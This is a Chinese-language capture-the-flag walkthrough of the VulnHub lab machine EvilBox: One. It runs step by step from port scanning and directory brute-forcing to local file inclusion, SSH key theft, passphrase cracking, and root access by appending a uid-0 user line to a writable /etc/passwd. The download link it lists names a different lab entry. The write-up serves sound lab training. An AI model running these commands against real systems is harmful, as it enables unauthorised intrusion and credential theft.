vulnhub刷題記錄(EVILBOX: ONE)

語言: CN / TW / HK
  • 英文名稱 :EVILBOX: ONE
  • 中文名稱 :邪惡盒子:一
  • 釋出日期 :2021 年 8 月 16 日
  • 難度 :容易
  • 描述 :這適用於 VirtualBox 而不是 VMware。
  • 下載地址http://www.vulnhub.com/entry/empire-breakout,751/

1、主機發現(192.168.199.144)

主機發現

2、埠掃描(22、80)

埠掃描

3、目錄發現

[19:51:35] 200 -   12B  - /robots.txt
[19:51:35] 301 -  319B  - /secret  ->  http://192.168.199.144/secret/
目錄發現

4、尋找線索

疑似使用者名稱

5、訪問,空白

空白

6、繼續暴力破解

gobuster dir -u http://192.168.199.144/secret/ -w /usr/share/wordlists/dirb/big.txt -x .php
喜的目錄

7、訪問,繼續空白

繼續空白

8、暴力破解引數

ffuf -u 'http://192.168.199.144/secret/evil.php?FUZZ=../../../../../etc/passwd' -w "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt" -fs 0
引數

9、訪問,找到使用者名稱 mowree

檔案包含

10、利用檔案包含,去找密碼

http://192.168.199.144/secret/evil.php?command=/home/mowree/.ssh/id_rsa
密碼

11、嘗試登入,需要密碼(被 passphrase 保護)

ssh -i id_rsa [email protected]
嘗試登入

12、john 暴力破解,得到密碼 unicorn

ssh2john id_rsa > password 
john --show password
密碼 unicorn

13、再次登入

拿到普通flag

14、/etc/passwd 具有寫許可權

w 寫許可權

15、生成123基於MD5的密碼

mowree@EvilBoxOne:~$ openssl passwd -help
Usage: passwd [options]
Valid options are:
 -help               Display this summary
 -in infile          Read passwords from file
 -noverify           Never verify when reading password from terminal
 -quiet              No warnings
 -table              Format output as table
 -reverse            Switch table columns
 -salt val           Use provided salt
 -stdin              Read passwords from stdin
 -6                  SHA512-based password algorithm
 -5                  SHA256-based password algorithm
 -apr1               MD5-based password algorithm, Apache variant
 -1                  MD5-based password algorithm
 -aixmd5             AIX MD5-based password algorithm
 -crypt              Standard Unix password algorithm (default)
 -rand val           Load the file(s) into the random number generator
 -writerand outfile  Write random data to the specified file
生成密碼

16、向passwd 寫入使用者ailx00的資訊(注意是單引號),成功拿到root的flag

echo 'ailx00:$1$Tuse491W$mmxvOkGDQHibl4DzhH3Fe1:0:0:root:/root:/bin/bash' >> /etc/passwd
獲得root的flag

到此,實驗完成~